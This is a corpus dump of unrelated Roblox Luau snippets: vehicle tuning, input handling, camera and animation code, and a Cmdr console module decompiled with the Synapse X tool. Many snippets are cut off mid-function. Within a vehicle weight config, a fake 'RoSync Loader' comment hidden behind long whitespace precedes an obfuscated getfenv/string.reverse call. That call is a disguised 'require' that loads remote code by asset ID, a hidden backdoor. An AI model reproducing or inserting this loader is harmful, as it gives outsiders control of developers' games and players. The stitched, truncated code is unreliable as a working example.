Roblox/luau_corpus huggingface dataset:
--// All global vars will be wiped/replaced except script

return function(data, env)
	if env then
		setfenv(1, env)
	end

	local playergui = service.PlayerGui
	local localplayer = service.Player
	local toggle = script.Parent.Parent.Toggle

	if client.Core.Get("Chat") then
		toggle.Position = UDim2.new(1, -(45+40),1, -45)
	end

	toggle.MouseButton1Down:Connect(function()
		local found = client.Core.Get("UserPanel",nil,true)
		if found then
			found.Object:Destroy()
		else
			client.Core.Make("UserPanel",{})
		end
	end)

	script.Parent.Parent.Parent = playergui
end
-------------------------
 
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
			if key == "q" then
	if script.Parent.Gear.Value < 0 then
		script.Parent.Gear.Value = -1
	else
		script.Parent.CC.Value = false
		script.Parent.Gear.Value = script.Parent.Gear.Value -1
		carSeat.Shift:Play()
	end
end
        if key == "e" then
	if script.Parent.Gear.Value > 0 then
		script.Parent.Gear.Value = 1
	else
		script.Parent.Gear.Value = script.Parent.Gear.Value +1
		carSeat.Shift:Play()
	end
end

if key == "l" and light == false then
	light = true
	carSeat.Parent.LeftHL.SpotLight.Enabled = true
	carSeat.Parent.RightHL.SpotLight.Enabled = true
	carSeat.Parent.BrL.SpotLight.Enabled = true
	carSeat.Parent.Router.Material = "Neon"
	carSeat.Parent.Louter.Material = "Neon"
elseif key == "l" and light == true then
	light = false
	carSeat.Parent.LeftHL.SpotLight.Enabled = false
	carSeat.Parent.RightHL.SpotLight.Enabled = false
	carSeat.Parent.BrL.SpotLight.Enabled = false
	carSeat.Parent.Router.Material = "SmoothPlastic"
	carSeat.Parent.Louter.Material = "SmoothPlastic"
end

if carSeat.Velocity.Magnitude > 35 and key == "c" and cc.Value == false and script.Parent.Gear.Value == 1 then
	cc.Value = true
	rr.MaxSpeed = carSeat.Velocity.Magnitude
	rl.MaxSpeed = carSeat.Velocity.Magnitude
	fr.MaxSpeed = carSeat.Velocity.Magnitude
	fl.MaxSpeed = carSeat.Velocity.Magnitude
	rr.Throttle = 1
	rl.Throttle = 1
	fl.Throttle = 1
	fr.Throttle = 1
	rr.Torque = script.Parent.RTQ.Value
	rl.Torque = script.Parent.RTQ.Value
	fl.Torque = script.Parent.FTQ.Value
	fr.Torque = script.Parent.FTQ.Value
elseif key == "c" and cc.Value == true then
	cc.Value = false
	rr.Throttle = 0
	rl.Throttle = 0
	fl.Throttle = 0
	fr.Throttle = 0
	end
        if key == "a" then
            	a = true
-- Decompiled with the Synapse X Luau decompiler.

local l__RunService__1 = game:GetService("RunService");
local l__StarterGui__2 = game:GetService("StarterGui");
local l__LocalPlayer__3 = game:GetService("Players").LocalPlayer;
local l__Shared__4 = script:WaitForChild("Shared");
local v5 = require(l__Shared__4:WaitForChild("Util"));
if l__RunService__1:IsClient() == false then
	error("Server scripts cannot require the client library. Please require the server library to use Cmdr in your own code.");
end;
local v6 = setmetatable({
	ReplicatedRoot = script, 
	RemoteFunction = script:WaitForChild("CmdrFunction"), 
	RemoteEvent = script:WaitForChild("CmdrEvent"), 
	ActivationKeys = {
		[Enum.KeyCode.F2] = true
	}, 
	Enabled = true, 
	MashToEnable = false, 
	ActivationUnlocksMouse = false, 
	HideOnLostFocus = true, 
	PlaceName = "Cmdr", 
	Util = v5, 
	Events = {}
}, {
	__index = function(p1, p2)
		local v7 = p1.Dispatcher[p2];
		if not v7 or type(v7) ~= "function" then
			return;
		end;
		return function(p3, ...)
			return v7(p1.Dispatcher, ...);
		end;
	end
});
v6.Registry = require(l__Shared__4.Registry)(v6);
v6.Dispatcher = require(l__Shared__4.Dispatcher)(v6);
if l__StarterGui__2:WaitForChild("Cmdr") and wait() and l__LocalPlayer__3:WaitForChild("PlayerGui"):FindFirstChild("Cmdr") == nil then
	l__StarterGui__2.Cmdr:Clone().Parent = l__LocalPlayer__3.PlayerGui;
end;
function v6.SetActivationKeys(p4, p5)
	p4.ActivationKeys = v5.MakeDictionary(p5);
end;
local u1 = require(script.CmdrInterface)(v6);
function v6.SetPlaceName(p6, p7)
	p6.PlaceName = p7;
	u1.Window:UpdateLabel();
end;
function v6.SetEnabled(p8, p9)
	p8.Enabled = p9;
end;
function v6.SetActivationUnlocksMouse(p10, p11)
	p10.ActivationUnlocksMouse = p11;
end;
function v6.Show(p12)
	if not p12.Enabled then
		return;
	end;
	u1.Window:Show();
end;
function v6.Hide(p13)
	u1.Window:Hide();
end;
function v6.Toggle(p14)
	if not p14.Enabled then
		return p14:Hide();
	end;
	u1.Window:SetVisible(not u1.Window:IsVisible());
end;
function v6.SetMashToEnable(p15, p16)
	p15.MashToEnable = p16;
	if p16 then
		p15:SetEnabled(false);
	end;
end;
function v6.SetHideOnLostFocus(p17, p18)
	p17.HideOnLostFocus = p18;
end;
function v6.HandleEvent(p19, p20, p21)
	p19.Events[p20] = p21;
end;
if l__RunService__1:IsServer() == false then
	v6.Registry:RegisterTypesIn(script:WaitForChild("Types"));
	v6.Registry:RegisterCommandsIn(script:WaitForChild("Commands"));
end;
v6.RemoteEvent.OnClientEvent:Connect(function(p22, ...)
	if v6.Events[p22] then
		v6.Events[p22](...);
	end;
end);
require(script.DefaultEventHandlers)(v6);
return v6;
--Claims Apartment
rentprompt.TriggerEnded:Connect(function(Player)
	local claim = Player.Name
	if owner.Value == "" then
		owner.Value = claim
		script.Parent.Rent.Enabled = false
		script.Parent.OpenClose.Enabled = true
	end
end)
--		print("Keyframe : ".. frameName)
		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end


function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then		 
		
		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight) 
		local origRoll = roll
		local idx = 1
		while roll > animTable[animName][idx].weight do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
--[[Weight and CG]]
	Tune.Weight			= 3000 		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--[[ Last synced 11/17/2020 05:01                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--s.Pitch = 0.7
	s2.Volume=0
	s.Volume=1
while true do
--[=[
	@within TableUtil
	@function Copy
	@param tbl table -- Table to copy
	@param deep boolean? -- Whether or not to perform a deep copy
	@return table

	Creates a copy of the given table. By default, a shallow copy is
	performed. For deep copies, a second boolean argument must be
	passed to the function.

	:::caution No cyclical references
	Deep copies are _not_ protected against cyclical references. Passing
	a table with cyclical references _and_ the `deep` parameter set to
	`true` will result in a stack-overflow.
]=]
local function Copy<T>(t: T, deep: boolean?): T
	if not deep then
		return (table.clone(t :: any) :: any) :: T
	end
	local function DeepCopy(tbl: { any })
		local tCopy = table.clone(tbl)
		for k, v in tCopy do
			if type(v) == "table" then
				tCopy[k] = DeepCopy(v)
			end
		end
		return tCopy
	end
	return DeepCopy(t :: any) :: T
end
--[[
	Client-side manager that listens to the FTUE stage in a player's data to show hints to the player
	about what to do in the current stage and handle client-side effects
--]]

local ReplicatedStorage = game:GetService("ReplicatedStorage")

local PlayerDataClient = require(ReplicatedStorage.Source.PlayerData.Client)
local FtueStage = require(ReplicatedStorage.Source.SharedConstants.FtueStage)
local InFarmFtueStage = require(script.StageHandlers.InFarmFtueStage)
local SellingPlantFtueStage = require(script.StageHandlers.SellingPlantFtueStage)
local PurchasingSeedFtueStage = require(script.StageHandlers.PurchasingSeedFtueStage)
local PurchasingPotFtueStage = require(script.StageHandlers.PurchasingPotFtueStage)
local ReturningToFarmFtueStage = require(script.StageHandlers.ReturningToFarmFtueStage)
local PlayerDataKey = require(ReplicatedStorage.Source.SharedConstants.PlayerDataKey)

type Stage = any -- TODO: Is there a way to specify a generic stage type containing setup and teardown?

local handlerByStage: { [string]: Stage } = {
	[FtueStage.InFarm] = InFarmFtueStage,
	[FtueStage.SellingPlant] = SellingPlantFtueStage,
	[FtueStage.PurchasingSeed] = PurchasingSeedFtueStage,
	[FtueStage.PurchasingPot] = PurchasingPotFtueStage,
	[FtueStage.ReturningToFarm] = ReturningToFarmFtueStage,
}

local FtueManagerClient = {}
FtueManagerClient.activeStage = nil :: Stage?

function FtueManagerClient.start()
	local ftueStage = PlayerDataClient.get(PlayerDataKey.FtueStage)
	FtueManagerClient._onFtueStageUpdated(ftueStage)
	PlayerDataClient.updated:Connect(function(valueName: any, value: any)
		if valueName :: string ~= PlayerDataKey.FtueStage then
			return
		end

		FtueManagerClient._onFtueStageUpdated(value)
	end)
end

function FtueManagerClient._onFtueStageUpdated(ftueStage: FtueStage.EnumType?)
	if FtueManagerClient.activeStage then
		FtueManagerClient.activeStage.teardown()
	end

	FtueManagerClient.activeStage = ftueStage and handlerByStage[ftueStage]

	if FtueManagerClient.activeStage then
		FtueManagerClient.activeStage.setup()
	end
end

return FtueManagerClient
--------------------
--[[
If the meshUpgrade is set to true above, then the cash brick that touches the upgrader will 
be turned into a mesh which will have its settings bellow:

Mesh Settings:
Look at the mesh properties and change the inside of the quotes below to the appropriate
full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want]]

meshID = "rbxassetid://431035980"
textureID = "rbxassetid://431036179"
---				pellet:Destroy()
			end
		end
		end
	end
end

pellet.Touched:connect(onTouched)

wait(10)

pellet.Parent = nil
--[=[
  @function differenceSymmetric
  @within Set

  @param set Set<V> -- The set to compare.
  @param ... ...Set<V> -- The sets to compare against.
  @return Set<V> -- The symmetric difference between the sets.

  Returns a set of values that are in the first set, but not in the other sets, and vice versa.

  ```lua
  local set1 = { hello = true, world = true }
  local set2 = { cat = true, dog = true, hello = true }

  local differenceSymmetric = DifferenceSymmetric(set1, set2) -- { world = true, cat = true, dog = true }
  ```
]=]
local function differenceSymmetric<V>(set: T.Set<V>, ...: T.Set<V>): T.Set<V>
	local diff = table.clone(set)

	for _, nextSet in { ... } do
		if typeof(nextSet) ~= "table" then
			continue
		end

		for value in nextSet do
			diff[value] = if diff[value] == nil then true else false
		end
	end

	for value, keep in diff do
		diff[value] = if keep then true else nil
	end

	return diff
end

return differenceSymmetric
--
local Ang = CFrame.Angles
local aTan = math.atan
--by Repilee 4/29/18--
--(resumed as of 6/23/18)--
local car = script.Parent.Parent.Car.Value
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
--------END RIGHT DOOR --------

game.Workspace.post1.Light.BrickColor = BrickColor.new(21)
game.Workspace.post2.Light.BrickColor = BrickColor.new(21)
end
wait(0.15)
if game.Workspace.DoorFlashing.Value == true then
--[[Weight and CG]]
	Tune.Weight			= 8000		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		8		,
	 --[[Height]]		20		,
	 --[[Length]]		25		}
	Tune.WeightDist		= 30		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= 2	-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "DJ"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(2, 2, 2) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.28, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
local rColorList = {000,000,000,000,000,255,255,255,255,255,255,255,255,255,255,255,255,255,255,000,000,000,000,000}
local gColorList = {165,165,165,165,165,210,215,230,255,255,255,255,255,255,255,245,230,215,255,165,165,165,165,165}
local bColorList = {255,255,255,255,255,100,110,135,255,255,255,255,255,255,255,215,135,110,255,255,255,255,255,255}
local r
local g
local b

while true do
	--time changer
	mam = game.Lighting:GetMinutesAfterMidnight() + timeShift
	game.Lighting:SetMinutesAfterMidnight(mam)
	mam = mam/60
	
	--brightness
	game.Lighting.Brightness = amplitudeB*math.cos(mam*(pi/12)+pi)+offsetB
	
	--outdoor ambient
	var=amplitudeO*math.cos(mam*(pi/12)+pi)+offsetO
	game.Lighting.OutdoorAmbient = Color3.fromRGB(var,var,var)
	
	--shadow softness
	game.Lighting.ShadowSoftness = amplitudeS*math.cos(mam*(pi/6))+offsetS
	
	--color shift top
	pointer= math.clamp(math.ceil(mam), 1, 24)
	r=((rColorList[pointer%24+1]-rColorList[pointer])*(mam-pointer+1))+rColorList[pointer]
	g=((gColorList[pointer%24+1]-gColorList[pointer])*(mam-pointer+1))+gColorList[pointer]
	b=((bColorList[pointer%24+1]-bColorList[pointer])*(mam-pointer+1))+bColorList[pointer]
	game.Lighting.ColorShift_Top=Color3.fromRGB(r,g,b)
	
	--tick
	wait(waitTime)
end
--[[Rear]]--
	Tune.RTireProfile	= 1			-- Tire profile, aggressive or smooth
	Tune.RProfileHeight	= .45		-- Profile height, conforming to tire
	
	Tune.RTireCompound	= 3			-- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear
	Tune.RTireFriction	= 1.1		-- Your tire's friction in the best conditions.
--[[START]]

	script.Parent:WaitForChild("Bike")
	script.Parent:WaitForChild("IsOn")
	script.Parent:WaitForChild("ControlsOpen")
	script.Parent:WaitForChild("Values")
-- Set player control
function UserInputController:setPlayerControlsEnabled(enabled: boolean)
	local playerControls = self:_getPlayerControls()
	if playerControls then
		if enabled then
			-- Enable movement
			playerControls:Enable()
		else
			-- Disable movement
			playerControls:Disable()
		end
	end
end
--Tune--
local StockHP = 1000		--Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 1	--(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 35	--bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos
local WasteGatePressure = 10	--Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 7/1	--Compression of your car (look up the compression of the engine you are running)
local AntiLag = true	--if true basically keeps the turbo spooled up so less lag

local BOV_Loudness = 6	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.8	--max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
-- Drive Input Loop --
while true do
	getInputValues(MobileHandbrake)

	local currentVel = Chassis.GetAverageVelocity()
	
	-- Taking care of steering
	-- For debugging, calculating steering paramters with SteeringCalculations script
	-- local steer = script.Parent.SteeringValue.Value
	-- steering.TargetPosition = -steer * steerMax
	-- Steering is more sensitive at small value
	local steer = script.Steering.Value
	Chassis.UpdateSteering(steer, currentVel)
	
	
	-- Taking care of throttling
	local throttle = script.Throttle.Value
	script.AngularMotorVelocity.Value = currentVel
	script.ForwardVelocity.Value = driverSeat.CFrame.LookVector:Dot( driverSeat.Velocity )
	Chassis.UpdateThrottle(currentVel, throttle)
	
	-- Taking care of handbrake
	if script.HandBrake.Value > 0 then
		Chassis.EnableHandbrake()
		steer = script.Steering.Value --TODO: Fix handbrake steering
	end
--this is a little bad, but shouldn't really be part of the 'class' of the gun
local Intangibles = {shock=1, bolt=1, bullet=1, plasma=1, effect=1, laser=1, handle=1, effects=1, flash=1,}
function CheckIntangible(hitObj)
	print(hitObj.Name)
	return Intangibles[(string.lower(hitObj.Name))] or hitObj.Transparency == 1
end

function CastRay(startpos, vec, length, ignore, delayifhit)
	if length > 999 then
		length = 999
	end
	hit, endpos2 = game.Workspace:FindPartOnRay(Ray.new(startpos, vec * length), ignore)
	if hit ~= nil then
		if CheckIntangible(hit) then
			if delayifhit then
				wait()
			end
			hit, endpos2 = CastRay(endpos2 + (vec * .01), vec, length - ((startpos - endpos2).magnitude), ignore, delayifhit)
		end
	end
	return hit, endpos2
end

function DrawBeam(beamstart, beamend, clr, fadedelay, templatePart)
	local dis = 2 --(beamstart - beamend).magnitude
	local tlaser=templatePart:Clone()
	tlaser.BrickColor = clr
	tlaser.Size = Vector3.new(.12, .12, dis + .2)
	tlaser.CFrame = CFrame.new((beamend+beamstart)/2, beamstart) * CFrame.new(0, 0, - dis/2)
	tlaser.Parent = game.Workspace
	game.Debris:AddItem(tlaser, fadedelay)
end
--[[
	Constructs and returns objects which can be used to model independent
	reactive state.
]]

local Package = script.Parent.Parent
local Types = require(Package.Types)
local useDependency = require(Package.Dependencies.useDependency)
local initDependency = require(Package.Dependencies.initDependency)
local updateAll = require(Package.Dependencies.updateAll)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]--
function OrbitalCamera:GetCameraToSubjectDistance()
	return self.curDistance
end

function OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
	local player = PlayersService.LocalPlayer
	if player then
		self.currentSubjectDistance = math.clamp(desiredSubjectDistance, self.minDistance, self.maxDistance)

		-- OrbitalCamera is not allowed to go into the first-person range
		self.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)
	end
	self.inFirstPerson = false
	self:UpdateMouseBehavior()
	return self.currentSubjectDistance
end

function OrbitalCamera:CalculateNewLookVector(suppliedLookVector: Vector3, xyRotateVector: Vector2): Vector3
	local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector()
	local currPitchAngle: number = math.asin(currLookVector.Y)
	local yTheta: number = math.clamp(xyRotateVector.Y, currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG))
	local constrainedRotateInput: Vector2 = Vector2.new(xyRotateVector.X, yTheta)
	local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
	local newLookVector: Vector3 = (CFrame.Angles(0, -constrainedRotateInput.X, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.Y,0,0)).LookVector
	return newLookVector
end
-- ключ значений у игрока в DataStore2
local DS2key = script.Parent.Parent.Name -- "MaxHeight1"

local clickDetector = script.Parent.ClickDetector
function onMouseClick(plr)
	-- для игрока plr, для ключа, изменить на -1
	module.Update(plr,DS2key,-1)
end
clickDetector.MouseClick:Connect(onMouseClick)
--[[Status Vars]]

	local _IsOn = _Tune.AutoStart
	if _Tune.AutoStart then car.DriveSeat.IsOn.Value=true end
	
	local _GSteerT=0
	local _GSteerC=0
	local _GThrot=0
	local _GThrotShift=1
	local _GBrake=0
	
	local _CBrake=0
	local _CThrot=0
	
	local _ClutchOn = true
	local _ClPressing = false
	local _RPM = 0
	local _HP = 0
	local _OutTorque = 0
	local _CGear = 0
	local _PGear = _CGear
	local _spLimit = 0
	
	local _Boost = 0
	local _TCount = 0
	local _TPsi = 0
	local _BH = 0
	local _BT = 0
	local _NH = 0
	local _NT = 0
	
	local _TMode = _Tune.TransModes[1]
	
	local _MSteer = false
	local _SteerL = false
	local _SteerR = false
	local _PBrake = false
	local _TCS = _Tune.TCSEnabled
	local _TCSActive = false
	local _TCSAmt = 0
	local _ABS = _Tune.ABSEnabled
	local _ABSActive = false
	
	local FlipWait=tick()
	local FlipDB=false
	
	local _InControls = false
-- CmdrInitaliser.lua

local CmdrRegistry = require(script.Cmdr).Registry

CmdrRegistry:RegisterDefaultCommands({ 'Utility' })
CmdrRegistry:RegisterTypesIn(script.Types)
CmdrRegistry:RegisterCommandsIn(script.Commands)
--[[function ClickB(mouse)
	reverse:Play()
end

function UnclickB(mouse)
	reverse:Stop()
end--]]

script.Parent.MouseButton1Down:connect(Click)
script.Parent.MouseButton1Up:connect(Unclick)
script.Parent.MouseButton2Click:connect(ClickA)
--Right Legs
local RUL = character.LowerTorso:FindFirstChild("RightHipRigAttachment")
local RULRig = character.RightUpperLeg:FindFirstChild("RightHipRigAttachment")
local RLL = character.RightUpperLeg:FindFirstChild("RightKneeRigAttachment")
local RLLRig = character.RightLowerLeg:FindFirstChild("RightKneeRigAttachment")
local RF = character.RightLowerLeg:FindFirstChild("RightAnkleRigAttachment")
local RFRig = character.RightFoot:FindFirstChild("RightAnkleRigAttachment")
-- Use the character attribute (updated by the server) as the source of truth for body orientation
-- Intended to be used for replicated characters
function OrientableBody:useAttributeAsSource()
	self:orientFromAttribute()
	self.attributeConnection = self.character:GetAttributeChangedSignal(ATTRIBUTE):Connect(function()
		self:orientFromAttribute()
	end)
end

function OrientableBody:destroy()
	if self.attributeConnection then
		self.attributeConnection:Disconnect()
		self.attributeConnection = nil
	end
	if self.renderStepConnection then
		self.renderStepConnection:Disconnect()
		self.renderStepConnection = nil
	end

	self.motor:setGoal({
		horizontalAngle = Otter.spring(0),
		verticalAngle = Otter.spring(0),
	})

	self.motor:onComplete(function()
		if self.motor then
			self.motor:destroy()
			self.motor = nil
		end
	end)
end

return OrientableBody